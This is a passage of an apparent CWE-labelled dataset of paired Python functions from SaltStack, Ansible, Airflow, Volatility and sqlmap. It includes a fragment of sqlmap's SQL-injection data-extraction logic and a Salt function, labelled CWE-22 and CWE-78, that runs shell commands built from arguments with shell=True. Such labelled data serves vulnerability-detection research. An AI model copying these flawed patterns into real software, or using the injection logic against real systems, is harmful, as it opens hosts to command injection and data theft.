    # of the inband SQL injection vulnerability.
    if not payload:
        return None

    if not kb.dbms:
        return None

    substringQuery = queries[kb.dbms].substring
    select = re.search(""\ASELECT "", expression, re.I)

    _, length, regExpr = queryOutputLength(expression, payload)

    if not length:
        return None

    if len(resumedValue) == int(length):
        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

        return resumedValue
    elif len(resumedValue) < int(length):
        infoMsg  = ""resumed from file '%s': "" % conf.sessionFile
        infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

        if select:
            newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
        else:
            newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))

        missingCharsLength = int(length) - len(resumedValue)

        infoMsg  = ""retrieving pending %d query "" % missingCharsLength
        infoMsg += ""output characters""
        logger.info(infoMsg)

        start = time.time()
        count, finalValue = bisection(payload, newExpr, length=missingCharsLength)

        debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
        logger.debug(debugMsg)

        if len(finalValue) != ( int(length) - len(resumedValue) ):
            warnMsg  = ""the total length of the query is not ""
            warnMsg += ""right, sqlmap is going to retrieve the ""
            warnMsg += ""query value from the beginning now""
            logger.warn(warnMsg)

            return None

        return ""%s%s"" % (resumedValue, finalValue)

    return None"
,UNKNOWN,UNKNOWN,tests/integration/states/test_file.py,1,"def test_keyvalue(self, name):
        '''
        file.keyvalue
        '''
        content = dedent(six.text_type('''\
            # This is the sshd server system-wide configuration file.  See
            # sshd_config(5) for more information.

            # The strategy used for options in the default sshd_config shipped with
            # OpenSSH is to specify options with their default value where
            # possible, but leave them commented.  Uncommented options override the
            # default value.

            #Port 22
            #AddressFamily any
            #ListenAddress 0.0.0.0
            #ListenAddress ::

            #HostKey /etc/ssh/ssh_host_rsa_key
            #HostKey /etc/ssh/ssh_host_ecdsa_key
            #HostKey /etc/ssh/ssh_host_ed25519_key

            # Ciphers and keying
            #RekeyLimit default none

            # Logging
            #SyslogFacility AUTH
            #LogLevel INFO

            # Authentication:

            #LoginGraceTime 2m
            #PermitRootLogin prohibit-password
            #StrictModes yes
            #MaxAuthTries 6
            #MaxSessions 10
            '''))

        with salt.utils.files.fopen(name, 'w+') as fp_:
            fp_.write(content)

        ret = self.run_state('file.keyvalue',
                name=name, key='permitrootlogin', value='no', separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#PermitRootLogin', file_contents)
            self.assertNotIn('prohibit-password', file_contents)
            self.assertIn(""PermitRootLogin no"", file_contents)

        self.assertSaltTrueReturn(ret)

        ret = self.run_state('file.keyvalue',
                name=name, key_values={'logingracetime':'1m'}, separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#LoginGraceTime 2m', file_contents)
            self.assertIn(""LoginGraceTime 1m"", file_contents)

        self.assertSaltTrueReturn(ret)",CWE-605,saltstack/salt,e318b56c100e538e4b5ddae549eba9fb70e332a4,"def test_keyvalue(self, name):
        '''
        file.keyvalue
        '''
        content = dedent(six.text_type('''\
            # This is the sshd server system-wide configuration file.  See
            # sshd_config(5) for more information.

            # The strategy used for options in the default sshd_config shipped with
            # OpenSSH is to specify options with their default value where
            # possible, but leave them commented.  Uncommented options override the
            # default value.

            #Port 22
            #AddressFamily any
            #ListenAddress 0.0.0.0
            #ListenAddress ::

            #HostKey /etc/ssh/ssh_host_rsa_key
            #HostKey /etc/ssh/ssh_host_ecdsa_key
            #HostKey /etc/ssh/ssh_host_ed25519_key

            # Ciphers and keying
            #RekeyLimit default none

            # Logging
            #SyslogFacility AUTH
            #LogLevel INFO

            # Authentication:

            #LoginGraceTime 2m
            #PermitRootLogin prohibit-password
            #StrictModes yes
            #MaxAuthTries 6
            #MaxSessions 10
            '''))

        with salt.utils.files.fopen(name, 'w+') as fp_:
            fp_.write(content)

        ret = self.run_state('file.keyvalue',
                name=name, key='permitrootlogin', value='no', separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#PermitRootLogin', file_contents)
            self.assertNotIn('prohibit-password', file_contents)
            self.assertIn(""PermitRootLogin no"", file_contents)

        self.assertSaltTrueReturn(ret)"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods='',
             python2_bin='python2', python3_bin='python3', absonly=True,
             compress='gzip', extended_cfg=None):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    if sys.version_info < (2, 6):
        raise salt.exceptions.SaltSystemExit('The minimum required python version to run salt-ssh is ""2.6"".')
    if compress not in ['gzip', 'zip']:
        log.warning('Unknown compression type: ""%s"". Falling back to ""gzip"" compression.', compress)
        compress = 'gzip'

    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.' + (compress == 'gzip' and 'tgz' or 'zip'))
    thinver = os.path.join(thindir, 'version')
    pythinver = os.path.join(thindir, '.thin-gen-py-version')
    salt_call = os.path.join(thindir, 'salt-call')
    pymap_cfg = os.path.join(thindir, 'supported-versions')
    code_checksum = os.path.join(thindir, 'code-checksum')
    digest_collector = salt.utils.hashutils.DigestCollector()

    with salt.utils.files.fopen(salt_call, 'wb') as fp_:
        fp_.write(_get_salt_call('pyall', **_get_ext_namespaces(extended_cfg)))

    if os.path.isfile(thintar):
        if not overwrite:
            if os.path.isfile(thinver):
                with salt.utils.files.fopen(thinver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pythinver):
                    with salt.utils.files.fopen(pythinver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])  # future lint: disable=blacklisted-function
            else:
                overwrite = True

        if overwrite:
            try:
                log.debug('Removing %s archive file', thintar)
                os.remove(thintar)
            except OSError as exc:
                log.error('Error while removing %s file: %s', thintar, exc)
                if os.path.exists(thintar):
                    raise salt.exceptions.SaltSystemExit(
                        'Unable to remove {} file. See logs for details.'.format(
                            thintar
                        )
                    )
        else:
            return thintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        if not salt.utils.path.which(python2_bin):
            log.debug('%s binary does not exist. Will not detect Python 2 version', python2_bin)
        else:
            py_shell_cmd = ""{} -c 'import sys;sys.stdout.write(\""%s.%s\\n\"" % sys.version_info[:2]);'"".format(python2_bin)
            cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
            stdout, _ = cmd.communicate()
            if cmd.returncode == 0:
                py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
                if py2_version < (2, 6):
                    raise salt.exceptions.SaltSystemExit(
                        'The minimum required python version to run salt-ssh is ""2.6"".'
                        'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                        '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin, stdout.strip()))
            else:
                log.debug('Unable to detect %s version', python2_bin)
                log.debug(stdout)

    tops_failure_msg = 'Failed %s tops for Python binary %s.'
    python_check_msg = '%s binary does not exist. Will not attempt to generate tops for Python %s'
    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    tops_py_version_mapping[sys.version_info.major] = tops

    # Collect tops, alternative to 2.x version
    if _six.PY2 and sys.version_info.major == 2:
        # Get python 3 tops
        if not salt.utils.path.which(python3_bin):
            log.debug(python_check_msg, python3_bin, '3')
        else:
            py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
                python3_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
            cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            stdout, stderr = cmd.communicate()
            if cmd.returncode == 0:
                try:
                    tops = salt.utils.json.loads(stdout)
                    tops_py_version_mapping['3'] = tops
                except ValueError as err:
                    log.error(tops_failure_msg, 'parsing', python3_bin)
                    log.exception(err)
            else:
                log.debug(tops_failure_msg, 'collecting', python3_bin)
                log.debug(stderr)

    # Collect tops, alternative to 3.x version
    if _six.PY3 and sys.version_info.major == 3:
        # Get python 2 tops
        if not salt.utils.path.which(python2_bin):
            log.debug(python_check_msg, python2_bin, '2')
        else:
            py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
                python2_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
            cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            stdout, stderr = cmd.communicate()
            if cmd.returncode == 0:
                try:
                    tops = salt.utils.json.loads(stdout.decode('utf-8'))
                    tops_py_version_mapping['2'] = tops
                except ValueError as err:
                    log.error(tops_failure_msg, 'parsing', python2_bin)
                    log.exception(err)
            else:
                log.debug(tops_failure_msg, 'collecting', python2_bin)
                log.debug(stderr)

    with salt.utils.files.fopen(pymap_cfg, 'wb') as fp_:
        fp_.write(_get_supported_py_config(tops=tops_py_version_mapping, extended_cfg=extended_cfg))

    tmp_thintar = _get_thintar_prefix(thintar)
    if compress == 'gzip':
        tfp = tarfile.open(tmp_thintar, 'w:gz', dereference=True)
    elif compress == 'zip':
        tfp = zipfile.ZipFile(tmp_thintar, 'w', compression=zlib and zipfile.ZIP_DEFLATED or zipfile.ZIP_STORED)
        tfp.add = tfp.write
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # Pack default data
    log.debug('Packing default libraries based on current Salt version')
    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            if absonly and not os.path.isabs(top):
                continue
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)

            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{}'.format(py_ver)

            log.debug('Packing ""%s"" to ""%s"" destination', base, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                # This is a little slow but there's no clear way to detect duplicates
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    # Pack alternative data
    if extended_cfg:
        log.debug('Packing libraries based on alternative Salt versions')
    for ns, cfg in _six.iteritems(get_ext_tops(extended_cfg)):
        tops = [cfg.get('path')] + cfg.get('dependencies')
        py_ver_major, py_ver_minor = cfg.get('py-version')
        for top in tops:
            base, top_dirname = os.path.basename(top), os.path.dirname(top)
            os.chdir(top_dirname)
            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{0}'.format(py_ver_major)
            log.debug('Packing alternative ""%s"" to ""%s/%s"" destination', base, ns, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(ns, site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(ns, site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

    os.chdir(thindir)
    with salt.utils.files.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pythinver, 'w+') as fp_:
        fp_.write(str(sys.version_info.major))  # future lint: disable=blacklisted-function
    with salt.utils.files.fopen(code_checksum, 'w+') as fp_:
        fp_.write(digest_collector.digest())
    os.chdir(os.path.dirname(thinver))

    for fname in ['version', '.thin-gen-py-version', 'salt-call', 'supported-versions', 'code-checksum']:
        tfp.add(fname)

    if start_dir:
        os.chdir(start_dir)
    tfp.close()

    shutil.move(tmp_thintar, thintar)

    return thintar","CWE-22, CWE-78",saltstack/salt,af257475c105945e9167d0871e79c24ea64c5e92,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods='',
             python2_bin='python2', python3_bin='python3', absonly=True,
             compress='gzip', extended_cfg=None):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    if sys.version_info < (2, 6):
        raise salt.exceptions.SaltSystemExit('The minimum required python version to run salt-ssh is ""2.6"".')
    if compress not in ['gzip', 'zip']:
        log.warning('Unknown compression type: ""%s"". Falling back to ""gzip"" compression.', compress)
        compress = 'gzip'

    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.' + (compress == 'gzip' and 'tgz' or 'zip'))
    thinver = os.path.join(thindir, 'version')
    pythinver = os.path.join(thindir, '.thin-gen-py-version')
    salt_call = os.path.join(thindir, 'salt-call')
    pymap_cfg = os.path.join(thindir, 'supported-versions')
    code_checksum = os.path.join(thindir, 'code-checksum')
    digest_collector = salt.utils.hashutils.DigestCollector()

    with salt.utils.files.fopen(salt_call, 'wb') as fp_:
        fp_.write(_get_salt_call('pyall', **_get_ext_namespaces(extended_cfg)))

    if os.path.isfile(thintar):
        if not overwrite:
            if os.path.isfile(thinver):
                with salt.utils.files.fopen(thinver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pythinver):
                    with salt.utils.files.fopen(pythinver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])  # future lint: disable=blacklisted-function
            else:
                overwrite = True

        if overwrite:
            try:
                log.debug('Removing %s archive file', thintar)
                os.remove(thintar)
            except OSError as exc:
                log.error('Error while removing %s file: %s', thintar, exc)
                if os.path.exists(thintar):
                    raise salt.exceptions.SaltSystemExit('Unable to remove %s file. See logs for details.', thintar)
        else:
            return thintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        if not salt.utils.path.which(python2_bin):
            log.debug('%s binary does not exist. Will not detect Python 2 version', python2_bin)
        else:
            py_shell_cmd = ""{} -c 'import sys;sys.stdout.write(\""%s.%s\\n\"" % sys.version_info[:2]);'"".format(python2_bin)
            cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
            stdout, _ = cmd.communicate()
            if cmd.returncode == 0:
                py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
                if py2_version < (2, 6):
                    raise salt.exceptions.SaltSystemExit(
                        'The minimum required python version to run salt-ssh is ""2.6"".'
                        'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                        '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin, stdout.strip()))
            else:
                log.debug('Unable to detect %s version', python2_bin)
                log.debug(stdout)

    tops_failure_msg = 'Failed %s tops for Python binary %s.'
    python_check_msg = '%s binary does not exist. Will not attempt to generate tops for Python %s'
    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    tops_py_version_mapping[sys.version_info.major] = tops

    # Collect tops, alternative to 2.x version
    if _six.PY2 and sys.version_info.major == 2:
        # Get python 3 tops
        if not salt.utils.path.which(python3_bin):
            log.debug(python_check_msg, python3_bin, '3')
        else:
            py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
                python3_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
            cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            stdout, stderr = cmd.communicate()
            if cmd.returncode == 0:
                try:
                    tops = salt.utils.json.loads(stdout)
                    tops_py_version_mapping['3'] = tops
                except ValueError as err:
                    log.error(tops_failure_msg, 'parsing', python3_bin)
                    log.exception(err)
            else:
                log.debug(tops_failure_msg, 'collecting', python3_bin)
                log.debug(stderr)

    # Collect tops, alternative to 3.x version
    if _six.PY3 and sys.version_info.major == 3:
        # Get python 2 tops
        if not salt.utils.path.which(python2_bin):
            log.debug(python_check_msg, python2_bin, '2')
        else:
            py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
                python2_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
            cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            stdout, stderr = cmd.communicate()
            if cmd.returncode == 0:
                try:
                    tops = salt.utils.json.loads(stdout.decode('utf-8'))
                    tops_py_version_mapping['2'] = tops
                except ValueError as err:
                    log.error(tops_failure_msg, 'parsing', python2_bin)
                    log.exception(err)
            else:
                log.debug(tops_failure_msg, 'collecting', python2_bin)
                log.debug(stderr)

    with salt.utils.files.fopen(pymap_cfg, 'wb') as fp_:
        fp_.write(_get_supported_py_config(tops=tops_py_version_mapping, extended_cfg=extended_cfg))

    tmp_thintar = _get_thintar_prefix(thintar)
    if compress == 'gzip':
        tfp = tarfile.open(tmp_thintar, 'w:gz', dereference=True)
    elif compress == 'zip':
        tfp = zipfile.ZipFile(tmp_thintar, 'w', compression=zlib and zipfile.ZIP_DEFLATED or zipfile.ZIP_STORED)
        tfp.add = tfp.write
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # Pack default data
    log.debug('Packing default libraries based on current Salt version')
    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            if absonly and not os.path.isabs(top):
                continue
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)

            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{}'.format(py_ver)

            log.debug('Packing ""%s"" to ""%s"" destination', base, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                # This is a little slow but there's no clear way to detect duplicates
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    # Pack alternative data
    if extended_cfg:
        log.debug('Packing libraries based on alternative Salt versions')
    for ns, cfg in _six.iteritems(get_ext_tops(extended_cfg)):
        tops = [cfg.get('path')] + cfg.get('dependencies')
        py_ver_major, py_ver_minor = cfg.get('py-version')
        for top in tops:
            base, top_dirname = os.path.basename(top), os.path.dirname(top)
            os.chdir(top_dirname)
            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{0}'.format(py_ver_major)
            log.debug('Packing alternative ""%s"" to ""%s/%s"" destination', base, ns, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(ns, site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(ns, site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

    os.chdir(thindir)
    with salt.utils.files.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pythinver, 'w+') as fp_:
        fp_.write(str(sys.version_info.major))  # future lint: disable=blacklisted-function
    with salt.utils.files.fopen(code_checksum, 'w+') as fp_:
        fp_.write(digest_collector.digest())
    os.chdir(os.path.dirname(thinver))

    for fname in ['version', '.thin-gen-py-version', 'salt-call', 'supported-versions', 'code-checksum']:
        tfp.add(fname)

    if start_dir:
        os.chdir(start_dir)
    tfp.close()

    shutil.move(tmp_thintar, thintar)

    return thintar"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/play_iterator.py,0,"def __init__(self, inventory, play, connection_info, all_vars):
        self._play = play

        self._blocks = []
        for block in self._play.compile():
            new_block = block.filter_tagged_tasks(connection_info, all_vars)
            if new_block.has_tasks():
                self._blocks.append(new_block)

        self._host_states = {}
        for host in inventory.get_hosts(self._play.hosts):
             self._host_states[host.name] = HostState(blocks=self._blocks)

        # Extend the play handlers list to include the handlers defined in roles
        self._play.handlers.extend(play.compile_roles_handlers())",,ansible/ansible,be81b650e80ca07fb3f669a13b4882919508c558,"def __init__(self, inventory, play, connection_info, all_vars):
        self._play = play

        self._blocks = []
        for block in self._play.compile():
            new_block = block.filter_tagged_tasks(connection_info, all_vars)
            if new_block.has_tasks():
                self._blocks.append(new_block)

        self._host_states = {}
        for host in inventory.get_hosts(self._play.hosts):
             self._host_states[host.name] = HostState(blocks=self._blocks)"
,UNKNOWN,UNKNOWN,tests/providers/cncf/kubernetes/hooks/test_kubernetes_pod.py,1,"def test_prefixed_names_still_work(self, mock_get_client):
        conn_uri = ""kubernetes://?extra__kubernetes__cluster_context=test&extra__kubernetes__namespace=test""
        with mock.patch.dict(""os.environ"", AIRFLOW_CONN_KUBERNETES_DEFAULT=conn_uri):
            kubernetes_hook = KubernetesHook(conn_id=""kubernetes_default"")
            kubernetes_hook.get_conn()
            mock_get_client.assert_called_with(cluster_context=""test"")
            assert kubernetes_hook.get_namespace() == ""test""",CWE-703,apache/airflow,9a4f6748521c9c3b66d96598036be08fd94ccf89,"def test_prefixed_names_still_work(self, mock_get_client):
        conn_uri = ""kubernetes://?extra__kubernetes__cluster_context=test&extra__kubernetes__namespace=test""
        with mock.patch.dict(""os.environ"", AIRFLOW_CONN_KUBERNETES_DEFAULT=conn_uri):
            kubernetes_hook = KubernetesHook(conn_id=""kubernetes_default"")
            kubernetes_hook.get_conn()
            mock_get_client.assert_called_with(cluster_context=""test"")
            assert kubernetes_hook.get_namespace() == ""test"""
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/addrspaces/vmware.py,0,"def __init__(self, base, config, **kwargs):
        ## We must have an AS below us
        self.as_assert(base, ""No base Address Space"")
        addrspace.BaseAddressSpace.__init__(self, base, config, **kwargs)

        ## This is a tuple of (physical memory offset, file offset, length)
        self.runs = []

        ## A VMware header is found at offset zero of the file 
        self.header = obj.Object(""_VMWARE_HEADER"", offset = 0, vm = base)

        self.as_assert(self.header.Magic in [0xbed2bed0, 0xbad1bad1, 0xbed2bed2, 0xbed3bed3],
                       ""Invalid VMware signature: {0:#x}"".format(self.header.Magic))

        ## The number of memory regions contained in the file 
        region_count = self.get_tag(self.header, grp_name = ""memory"",
                                     tag_name = ""regionsCount"", 
                                     data_type = ""unsigned int"")

        if not region_count.is_valid() or region_count == 0:
            ## Create a single run from the main memory region 
            memory_tag = self.get_tag(self.header, grp_name = ""memory"", 
                                      tag_name = ""Memory"")

            self.as_assert(memory_tag != None,
                           ""Cannot find the single-region Memory tag"")

            self.runs.append((0, memory_tag.RealDataOffset, memory_tag.DataDiskSize))
        else:
            ## Create multiple runs - one for each region in the header
            for i in range(region_count):
                memory_tag = self.get_tag(self.header, grp_name = ""memory"",
                                tag_name = ""Memory"",
                                indices = [0, 0])

                self.as_assert(memory_tag != None,
                           ""Cannot find the Memory tag"")

                memory_offset = self.get_tag(self.header, grp_name = ""memory"", 
                                tag_name = ""regionPPN"",
                                indices = [i],
                                data_type = ""unsigned int"") * self.PAGE_SIZE

                file_offset = self.get_tag(self.header, grp_name = ""memory"",
                                tag_name = ""regionPageNum"", indices = [i],
                                data_type = ""unsigned int"") * \
                                self.PAGE_SIZE + memory_tag.RealDataOffset

                length = self.get_tag(self.header, grp_name = ""memory"", 
                                tag_name = ""regionSize"",
                                indices = [i],
                                data_type = ""unsigned int"") * self.PAGE_SIZE

                self.runs.append((memory_offset, file_offset, length))

        ## Make sure we found at least one memory run
        self.as_assert(len(self.runs) > 0,
                       ""Cannot find any memory run information"")

        ## Find the DTB from CR3. For x86 we grab an int from CR and 
        ## for x64 we grab a long long from CR64.
        if self.profile.metadata.get(""memory_model"", ""32bit"") == ""32bit"":
            self.dtb = self.get_tag(self.header, grp_name = ""cpu"", tag_name = ""CR"",
                                 indices = [0, 3],
                                 data_type = ""unsigned int"")
        else:
            self.dtb = self.get_tag(self.header, grp_name = ""cpu"", tag_name = ""CR64"",
                                indices = [0, 3],
                                data_type = ""unsigned long long"")

        self.as_assert(self.dtb != None, ""Cannot find a DTB"")",,volatilityfoundation/volatility,bb1fd5aada4e83ca34c4e35c0af7802f4c6a84c4,"def __init__(self, base, config, **kwargs):
        ## We must have an AS below us
        self.as_assert(base, ""No base Address Space"")
        addrspace.BaseAddressSpace.__init__(self, base, config, **kwargs)

        ## This is a tuple of (physical memory offset, file offset, length)
        self.runs = []

        ## A VMware header is found at offset zero of the file 
        self.header = obj.Object(""_VMWARE_HEADER"", offset = 0, vm = base)

        self.as_assert(self.header.Magic in [0xbed2bed0, 0xbad1bad1, 0xbed2bed2, 0xbed3bed3],
                       ""Invalid VMware signature: {0:#x}"".format(self.header.Magic))

        ## The number of memory regions contained in the file 
        region_count = self._get_tag(grp_name = ""memory"",
                                     tag_name = ""regionsCount"", data_type = ""unsigned int"")

        if not region_count.is_valid() or region_count == 0:
            ## Create a single run from the main memory region 
            memory_tag = self._get_tag(grp_name = ""memory"", tag_name = ""Memory"")

            self.as_assert(memory_tag is not None,
                           ""Cannot find the single-region Memory tag"")

            self.runs.append((0, memory_tag.RealDataOffset, memory_tag.DataDiskSize))
        else:
            ## Create multiple runs - one for each region in the header
            for i in range(region_count):
                memory_tag = self._get_tag(grp_name = ""memory"", tag_name = ""Memory"",
                                indices = [0, 0])

                memory_offset = self._get_tag(grp_name = ""memory"", tag_name = ""regionPPN"",
                                indices = [i],
                                data_type = ""unsigned int"") * self.PAGE_SIZE

                file_offset = self._get_tag(grp_name = ""memory"",
                                tag_name = ""regionPageNum"", indices = [i],
                                data_type = ""unsigned int"") * \
                                self.PAGE_SIZE + memory_tag.RealDataOffset

                length = self._get_tag(grp_name = ""memory"", tag_name = ""regionSize"",
                                indices = [i],
                                data_type = ""unsigned int"") * self.PAGE_SIZE

                self.runs.append((memory_offset, file_offset, length))

        ## Make sure we found at least one memory run
        self.as_assert(len(self.runs) > 0,
                       ""Cannot find any memory run information"")

        ## Find the DTB from CR3. For x86 we grab an int from CR and 
        ## for x64 we grab a long long from CR64.
        if self.profile.metadata.get(""memory_model"", ""32bit"") == ""32bit"":
            self.dtb = self._get_tag(grp_name = ""cpu"", tag_name = ""CR"",
                                 indices = [0, 3],
                                 data_type = ""unsigned int"")
        else:
            self.dtb = self._get_tag(grp_name = ""cpu"", tag_name = ""CR64"",
                                indices = [0, 3],
                                data_type = ""unsigned long long"")

        self.as_assert(self.dtb is not None, ""Cannot find a DTB"")"
,UNKNOWN,UNKNOWN,salt/netapi/rest_cherrypy/app.py,1,"def POST(self, **kwargs):
        '''
